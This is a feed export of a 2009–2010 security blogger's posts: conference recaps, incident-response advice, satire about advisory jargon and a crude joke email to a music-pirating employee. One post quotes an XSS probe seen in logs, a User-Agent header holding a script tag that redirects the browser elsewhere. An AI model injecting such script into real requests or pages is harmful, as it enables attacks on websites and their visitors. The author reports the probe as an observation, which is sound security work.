/&gt;&lt;br /&gt;Obviously, if you see data being destroyed or going out the door, feel free to yell as loud as you can and pull out all the stops. But if you're just not sure, grab a couple of people you trust to help, and get the facts first. Spend your resources wisely. When the real thing hits, you'll be glad you did.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3788790869577285877?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3788790869577285877/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3788790869577285877' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3788790869577285877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3788790869577285877'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/01/dont-cry-wolf.html' title='Don&apos;t Cry Wolf'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2400218211783774506</id><published>2010-01-01T14:38:00.002-05:00</published><updated>2010-01-01T14:47:07.197-05:00</updated><title type='text'>Thoughts on 2010</title><content type='html'>Another decade come and gone. There are really just a few goals I have for myself in 2010, security-wise.&lt;br /&gt;&lt;br /&gt;1. Ditch conventional wisdom&lt;br /&gt;&lt;br /&gt;I find myself performing or recommending some "best practices" that, frankly, make me feel a little dirty. I intend to start looking at risk with a much more critical eye. (Just for example, I'm not sure I really believe XSS is as critical as the companies selling web app security products would tell you.)&lt;br /&gt;&lt;br /&gt;2. Get actionable&lt;br /&gt;&lt;br /&gt;This is more of a work thing. I've done a lot of work to increase the volume of security information available. My goal for this year is, in addition to building out more info-gathering capability, to really get to work on automating to the point where important information is correlated and alerted upon automatically. No more digging through irrelevant information looking for the real stuff.&lt;br /&gt;&lt;br /&gt;3. Get back to basics&lt;br /&gt;&lt;br /&gt;In the last couple of years, I've really gotten away from vulnerability research and exploit development, which is too bad because that's really what I am most interested in. I plan to devote some time to those activities this year.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2400218211783774506?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2400218211783774506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2400218211783774506' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2400218211783774506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2400218211783774506'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2010/01/thoughts-on-2010.html' title='Thoughts on 2010'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-6829911571969956418</id><published>2009-09-16T11:15:00.002-04:00</published><updated>2009-09-16T11:25:15.774-04:00</updated><title type='text'>Security Advisory Lingo Demystified F'Reals</title><content type='html'>Inspired by &lt;a href="http://blogs.cisco.com/security/comments/cisco_security_advisory_lingo_demystified/"&gt;Cisco Security Advisory Lingo Demystified&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remote code execution:&lt;/span&gt; Can be used to pop up porn ads and send spam.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mitigating factors: &lt;/span&gt;Bold-faced lies.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Workarounds: &lt;/span&gt;Hold onto your butts, we're not patching this anytime soon.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Not exploitable in the default configuration: &lt;/span&gt;Remote code execution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Limited targeted attacks: &lt;/span&gt;You've been owned 6 times in the time it took you to read this.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Responsible disclosure: &lt;/span&gt;Researcher allowed the vendor to drag their feet for 18 months in order to ensure credit in the advisory.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Crafted packet: &lt;/span&gt;Who knows, Metasploit does all that nerd stuff.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Denial of service condition: &lt;/span&gt;Remote code execution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-6829911571969956418?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/6829911571969956418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=6829911571969956418' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6829911571969956418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/6829911571969956418'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/09/security-advisory-lingo-demystified.html' title='Security Advisory Lingo Demystified F&apos;Reals'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-4522776725887380175</id><published>2009-09-11T14:26:00.002-04:00</published><updated>2009-09-11T14:28:08.150-04:00</updated><title type='text'>Krpata's Law</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Godwin%27s_law"&gt;Godwin's Law&lt;/a&gt;: "As a Usenet discussion grows longer, the probability of a comparison involving Nazis or Hitler approaches 1."&lt;br /&gt;&lt;br /&gt;Krpata's Law: As any online discussion grows longer, the probability of someone linking to &lt;a href="http://xkcd.com/"&gt;XKCD&lt;/a&gt; approaches 1.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-4522776725887380175?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/4522776725887380175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=4522776725887380175' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4522776725887380175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/4522776725887380175'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/09/krpatas-law.html' title='Krpata&apos;s Law'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8835616487524916917</id><published>2009-09-04T17:44:00.003-04:00</published><updated>2009-09-04T17:48:26.949-04:00</updated><title type='text'>Interesting Firefox Alert</title><content type='html'>Not sure I know what this means or whether it's useful yet, but if you try to make Firefox FTP to an SSH server (ftp://whatever:22) and hit Stop before it times out, it'll pop up an alert with the SSH version string.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/SqGKouOlc1I/AAAAAAAAACQ/WkYhVFDaYA0/s1600-h/weirdalert.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 326px; height: 119px;" src="http://3.bp.blogspot.com/_SYE2yJ9M5jQ/SqGKouOlc1I/AAAAAAAAACQ/WkYhVFDaYA0/s400/weirdalert.png" alt="" id="BLOGGER_PHOTO_ID_5377731862265688914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Happens the same way whether you put it in the nav bar, img tag, script tag, or whatever. Wonder if there's any way to get at that programmatically.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8835616487524916917?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8835616487524916917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8835616487524916917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8835616487524916917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8835616487524916917'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/09/interesting-firefox-alert.html' title='Interesting Firefox Alert'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SYE2yJ9M5jQ/SqGKouOlc1I/AAAAAAAAACQ/WkYhVFDaYA0/s72-c/weirdalert.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8494699969845282344</id><published>2009-09-02T22:06:00.001-04:00</published><updated>2009-09-02T22:08:09.138-04:00</updated><title type='text'>DFU Mode</title><content type='html'>If you're uncoordinated and easily confused like I am, here's a video on how to put your iPhone into DFU mode that even I was able to follow. Thank you, random college kid and wandering roommate.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Rb_ss0bljHY&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/Rb_ss0bljHY&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8494699969845282344?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8494699969845282344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8494699969845282344' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8494699969845282344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8494699969845282344'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/09/dfu-mode.html' title='DFU Mode'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3916985117498182967</id><published>2009-08-27T22:04:00.002-04:00</published><updated>2009-08-27T22:13:02.067-04:00</updated><title type='text'>Blackhat/DEFCON</title><content type='html'>Ok, I'm apparently not going to get around to a full recap of Blackhat/DEFCON, so here's some bullet points.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Shawn Moyer/Nathan Hamiel talk was first and probably best at BH. I don't think most people got it. I'm not sure I even 100% got it.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Thanks to the DEFCON goons who got me into the BH speakers party. Maybe next year I will be there for real.&lt;/li&gt;&lt;li&gt;WhiteHat dinner was excellent! Good people over there.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Mandiant training was good. A little more "find malware in Windows boxes" than I'd have liked, but overall a very valuable experience.&lt;/li&gt;&lt;li&gt;HackProv! (Did you know that Chicago plays "Big Buddha" differently than Boston? They use swears.)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Badges by December. Seriously badge fail.&lt;/li&gt;&lt;li&gt;My favorite moment of the whole trip was making an analog iPhone amplifier out of a plastic cup and Seventeen magazine at the Riv bar at like 3am. &lt;/li&gt;&lt;li&gt;Also, some dude was like "I don't think you guys like the same music as me" but it turns out his iPod was loaded up with 90's industrial and we were all like "sup man"&lt;/li&gt;&lt;li&gt;Honestly by the time DEFCON rolled around I was pretty much talked out, I only ended up going to a very small number of talks. "The Psychology of Security Unusability" was excellent but much too rushed&lt;/li&gt;&lt;/ul&gt;Hallway/bar track was the best. Met a ton of cool people, and probably (maybe?) justified the money my company spent to send me out there. Definitely looking forward to next year, though I may skip the training.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3916985117498182967?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3916985117498182967/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3916985117498182967' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3916985117498182967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3916985117498182967'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/08/blackhatdefcon.html' title='Blackhat/DEFCON'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2761278530920596083</id><published>2009-08-14T12:08:00.002-04:00</published><updated>2009-08-14T12:11:02.721-04:00</updated><title type='text'>XSS-ing the user agent. Is there a point?</title><content type='html'>Still haven't gotten around to recapping the rest of BlackHat/DEFCON. It's still on the list. In the meantime...&lt;br /&gt;&lt;br /&gt;I've been seeing a lot of this lately:&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;User-Agent: &amp;lt;script&gt;window.location='http://somewhere'&amp;lt;/script&gt; (compatible; MSIE 7.0; ...etc etc)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I'm not sure if this is attacking a specific vulnerability, or just trolling for unknown XSS vulnerabilities. Doesn't seem like the most subtle way to do it in either case. Anyone know?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2761278530920596083?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2761278530920596083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2761278530920596083' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2761278530920596083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2761278530920596083'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/08/xss-ing-user-agent-is-there-point.html' title='XSS-ing the user agent. Is there a point?'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1569815656120411888</id><published>2009-08-04T18:28:00.003-04:00</published><updated>2009-08-04T18:41:25.428-04:00</updated><title type='text'>Post BlackHat/DEFCON</title><content type='html'>Unfortunately the blogging failed closed after &lt;a href="http://www.tylerkrpata.com/2009/07/blackhat-part-1.html"&gt;Blackhat Part 1&lt;/a&gt;, as the network got a little too dangerous to start throwing my Blogger credentials across it.&lt;br /&gt;&lt;br /&gt;I have a ton to write about, and it's going to take me several posts. In the meantime, DEFCON BEES&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2618/3782858708_a483396b99.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 500px; height: 423px;" src="http://farm3.static.flickr.com/2618/3782858708_a483396b99.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1569815656120411888?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1569815656120411888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1569815656120411888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1569815656120411888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1569815656120411888'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/08/post-blackhatdefcon.html' title='Post BlackHat/DEFCON'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2618/3782858708_a483396b99_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-8438959227385744391</id><published>2009-07-26T23:26:00.002-04:00</published><updated>2009-07-26T23:44:11.295-04:00</updated><title type='text'>Blackhat, Part 1</title><content type='html'>My first two days of Blackhat are complete. This weekend I took the "Web Application (In)Security" course by NGS Software. The class was taught by Dafydd Stuttard and Marcus Pinto. It covered pretty much every web application security topic you can imagine, and was heavily focused on attack, rather than defense. It seemed very oriented toward pen testers.&lt;br /&gt;&lt;br /&gt;Before the class started, I had some doubts about whether it would be too basic. While most of the topics covered were topics I was already familiar with, the course material as a whole was intermediate to advanced. Dafydd and Marcus really know their stuff, and it shows. We started going really quickly in day 2, and I think a lot of us were struggling to keep up.&lt;br /&gt;&lt;br /&gt;The course was about evenly split between presentation time and lab time. I appreciated the hands-on approach. These guys had a TON of labs available. I actually was kind of annoyed at the absolute impossibility of completing all the labs in the time given, but I think the point was to make sure nobody ran out of work to do. I don't think anyone was expected to complete them all.&lt;br /&gt;&lt;br /&gt;We were encouraged to use &lt;a href="http://portswigger.net/suite/"&gt;Burp Suite&lt;/a&gt;, and many of the examples were shown using Burp. I'd never used Burp before, thinking it was just another localhost proxy. Turns out I was very wrong. Burp is an extremely powerful, flexible, and complete web application security tool, and I will definitely be using it in the future. I'd say this aspect of the course was worth the price of admission.&lt;br /&gt;&lt;br /&gt;We finished out the course with a CTF game, which always makes me happy. I wish we had a little more time to work on it. (And I'm happy to say that I spent most of the game near the top of the leaderboard.)&lt;br /&gt;&lt;br /&gt;My only real complaint about the course is that there seemed to be way too much material for two days, and it felt very rushed. (Also, the room was absolutely FREEZING.)&lt;br /&gt;&lt;br /&gt;In other Vegas news, I kind of feel like I should be putting some more effort into making some friends here. I haven't really been socializing outside of class. I've spent some time on the poker tables, but I've been taking a beating and am busted out. (Last night I went to the felt on a flush draw with two overs, caught my flush on the river, turns out I was drawing dead to a boat. Part bad luck, part bad play.)&lt;br /&gt;&lt;br /&gt;Also, there is absolutely nowhere to eat here that costs less than a million dollars.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-8438959227385744391?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/8438959227385744391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=8438959227385744391' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8438959227385744391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/8438959227385744391'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/07/blackhat-part-1.html' title='Blackhat, Part 1'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2671223688657758749</id><published>2009-07-10T14:38:00.002-04:00</published><updated>2009-07-10T14:55:30.942-04:00</updated><title type='text'>Tyler Krpata: Picks for BlackHat 2009</title><content type='html'>As prompted by &lt;a href="http://jeremiahgrossman.blogspot.com/2009/07/picks-for-blackhat-2009.html"&gt;Jeremiah Grossman: Picks for BlackHat 2009&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Day 1&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="wht"&gt;FX:&lt;/span&gt; Router Exploitation        &lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Nathan Hamiel &amp;amp; Shawn Moyer:&lt;/span&gt; Weaponizing the Web          &lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Eduardo Vela Nava &amp;amp; David Lindsay:&lt;/span&gt; Our Favorite XSS Filters and How to Attack Them &lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Dan Kaminsky:&lt;/span&gt; Something to do with Network Security? (LOLZ)&lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Thomas Ptacek, David Goldsmith &amp;amp; Jeremy Rauch:&lt;/span&gt; Hacking Capitalism '09 &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Day 2&lt;/span&gt;&lt;br /&gt;Not that interested in any of the 10am talks, so either&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="wht"&gt;Zane Lackey &amp;amp; Luis Miras:&lt;/span&gt; Attacking SMS&lt;/li&gt;&lt;ul&gt;&lt;li&gt;or&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Tyler Krpata: Sleep Late :)&lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Jeremiah Grossman &amp;amp; Trey Ford:&lt;/span&gt; Mo' Money Mo' Problems         (and I don't even have to be there!)&lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Kevin Mahaffey, Anthony Lineberry &amp;amp; John Hering:&lt;/span&gt; Is Your Phone Pwned?&lt;/li&gt;&lt;li&gt;Turbo track &lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="wht"&gt;Steve Ocepek:&lt;/span&gt; Long-Term Sessions - This Is Why We Can't Have Nice Things&lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Peter Guerra:&lt;/span&gt; How Economics and Information Security Affects Cyber Crime&lt;/li&gt;&lt;li&gt;&lt;span class="wht"&gt;Michael Brooks:&lt;/span&gt; BitTorrent hacks&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span class="wht"&gt;Bruce Schneier:&lt;/span&gt; Reconceptualizing Security         &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2671223688657758749?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2671223688657758749/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2671223688657758749' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2671223688657758749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2671223688657758749'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/07/tyler-krpata-picks-for-blackhat-2009.html' title='Tyler Krpata: Picks for BlackHat 2009'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2638607493823885156</id><published>2009-07-09T17:36:00.002-04:00</published><updated>2009-07-09T17:48:00.317-04:00</updated><title type='text'>Email From Security</title><content type='html'>From: Security&lt;br /&gt;To: User&lt;br /&gt;Subject: Cut the shit&lt;br /&gt;&lt;br /&gt;Dear &lt;user&gt;&lt;br /&gt;&lt;br /&gt;This email is in regards to your recent download of "Ja Rule - R.U.L.E."&lt;br /&gt;&lt;br /&gt;First of all, who the fuck listens to Ja Rule. I mean really.&lt;br /&gt;&lt;br /&gt;Let's be clear, I could give a fuck less if you want to pirate music. Hell, I'm in FAVOR of illegal downloads. Nothing like Robin-Hood'ing those motherfuckers. When I have to think really hard before buying a DVD or a six pack, while the latest MTV flash-in-the-pan has 18 diamonds glued to his teeth, I think we can agree the recording industry is corrupt as hell and deserves what they get.&lt;br /&gt;&lt;br /&gt;But regardless, for better or for worse, I'm the one stuck wasting my time responding to DMCA complaints when your stupid ass decides to use your employer's internet connection to download this shit. I know you don't realize it, but every time you do something stupid, a little alert pops up on my desktop, and then I have to do something about it. Believe it or not, I have better things to do with my time. Those Facebook status updates don't write themselves, you know.&lt;br /&gt;&lt;br /&gt;In short: smarten up, or I'm changing your desktop background to lemonparty and disabling all your accounts.&lt;br /&gt;&lt;br /&gt;Love,&lt;br /&gt;Security&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2638607493823885156?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2638607493823885156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2638607493823885156' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2638607493823885156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2638607493823885156'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2009/07/email-from-security.html' title='Email From Security'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5415945885020903309</id><published>2009-06-29T15:03:00.002-04:00</published><updated>2009-06-29T15:03:56.392-04:00</updated><title type='text'>Random iPhone thought...</title><content type='html'>I just had a wild thought. If someone's got the audible clicks going on their iPhone, could you sniff their typing based on the relative time between keystrokes?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5415945885020903309?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5415945885020903309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5415945885020903309' title='1 Comments'/><link rel='edit' type='application/atom+xml' 